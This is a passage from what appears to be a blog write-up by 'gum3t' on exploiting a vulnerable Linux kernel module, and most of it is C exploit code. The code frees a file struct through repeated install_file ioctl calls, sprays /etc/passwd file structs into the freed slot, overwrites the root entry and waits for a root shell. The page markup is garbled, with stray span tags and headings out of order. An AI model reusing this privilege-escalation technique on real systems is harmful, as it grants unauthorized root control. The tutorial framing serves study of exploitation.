</span>	</span>if </span>(device_fd < </span>0</span>) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] Failed to open device file</span>");
</span>	}
</span>
</span>	</span>// Opening tmp file.
</span>	</span>puts</span>("</span>[+] Opening tmp file</span>");
</span>	fd0 = </span>open</span>(TMP_FILE, O_CREAT | O_RDWR, </span>0666</span>);
</span>	</span>if </span>(fd0 < </span>0</span>) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] Failed to open </span>%s</span>", TMP_FILE);
</span>	}
</span>
</span>	</span>// Allocating some bytes into tmp file to prevent bus error.
</span>	</span>// fallocate or ftruncate are other viable options.
</span>	</span>puts</span>("</span>[+] Allocating some bytes into tmp file to prevent bus error</span>");
</span>	</span>write</span>(fd0, placeholder, </span>strlen</span>(placeholder));
</span>
</span>	</span>// Mapping tmp file into memory.
</span>	</span>// Size 1 allocates minimum size which is an entire page.
</span>	</span>puts</span>("</span>[+] Mapping tmp file into memory</span>");
</span>	ptr = </span>mmap</span>(</span>NULL</span>, </span>1</span>, PROT_READ | PROT_WRITE, MAP_SHARED, fd0, </span>0</span>);
</span>	</span>if </span>(ptr == MAP_FAILED) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] Failed to map </span>%s</span> into memory</span>", TMP_FILE);
</span>	}
</span>
</span>	</span>// Limiting the max amount of file descriptors.
</span>	</span>puts</span>("</span>[+] Limiting max amount of file descriptors</span>");
</span>	</span>set_fd_limit</span>(</span>0</span>, </span>4096</span>);	
</span>
</span>	</span>// Forcing file struct release through file->f_count->counter decrement. 
</span>	</span>puts</span>("</span>[+] Forcing file struct release. Expecting EBADF:</span>");
</span>	fd1 = </span>install_file</span>(device_fd, &fd0);
</span>	fd1 = </span>install_file</span>(device_fd, &fd0);
</span>
</span>	</span>// Extending max amount of file descriptors.
</span>	</span>puts</span>("</span>[+] Extending max amount of file descriptors</span>");
</span>	</span>set_fd_limit</span>(</span>4096</span>, </span>4096</span>);	
</span>
</span>	</span>// Spray to fill the previously freed file struct with a /etc/passwd file struct. 
</span>	</span>puts</span>("</span>[+] Spraying file structs pointing to /etc/passwd</span>");
</span>	</span>for</span>(</span>int</span> i = </span>0</span>; i < </span>512</span>; i++) {
</span>		fd_spray[i] = </span>open</span>("</span>/etc/passwd</span>", O_RDONLY);
</span>       		</span>if </span>(fd_spray[i] < </span>0</span>) {
</span>                	</span>err</span>(</span>0</span>, "</span>[-] Failed to spray /etc/passwd</span>");
</span>        	}
</span>	}
</span>	
</span>	</span>// Checking for successful UAF.
</span>	</span>puts</span>("</span>[+] Checking for successful UAF. Content should be from /etc/passwd:</span>");
</span>	</span>fputs</span>(ptr, stdout);
</span>
</span>	</span>// Overwriting /etc/passwd root entry.
</span>	</span>puts</span>("</span>[+] Overwriting /etc/passwd root entry. Content should have been modified:</span>");
</span>	</span>memcpy</span>(ptr, privesc, </span>strlen</span>(privesc));
</span>	</span>fputs</span>(ptr, stdout);
</span>
</span>
</span>	</span>// Entering eternal loop.	
</span>	</span>puts</span>("</span>[+] Corruption process has been completed. Waiting for a root shell...</span>");
</span>	</span>while</span>(</span>1</span>) {
</span>		</span>sleep</span>(</span>10</span>);
</span>	}
</span>	
</span>	</span>return </span>0</span>;
</span>}
</span></code></pre>
 



  
    
      note
    </div>
    note</strong></span>
  </div>
  If you find a misconception or an error in any of my posts, please contact me</a> and I'll fix it asap.</p>
</div>
</div>
gum3t

A "Gau-Hack" from EuskalHack

Source Code Analysis</h2> If we check the provided source code for the vulnerable LKM, we can identify two main functions within ioctl:</p>

install_file</h3> We can see below the content of the install_file</code> function:</p>

Exploit Development</h2> To develop a cleaner exploit, we can use the following helper functions:</p>
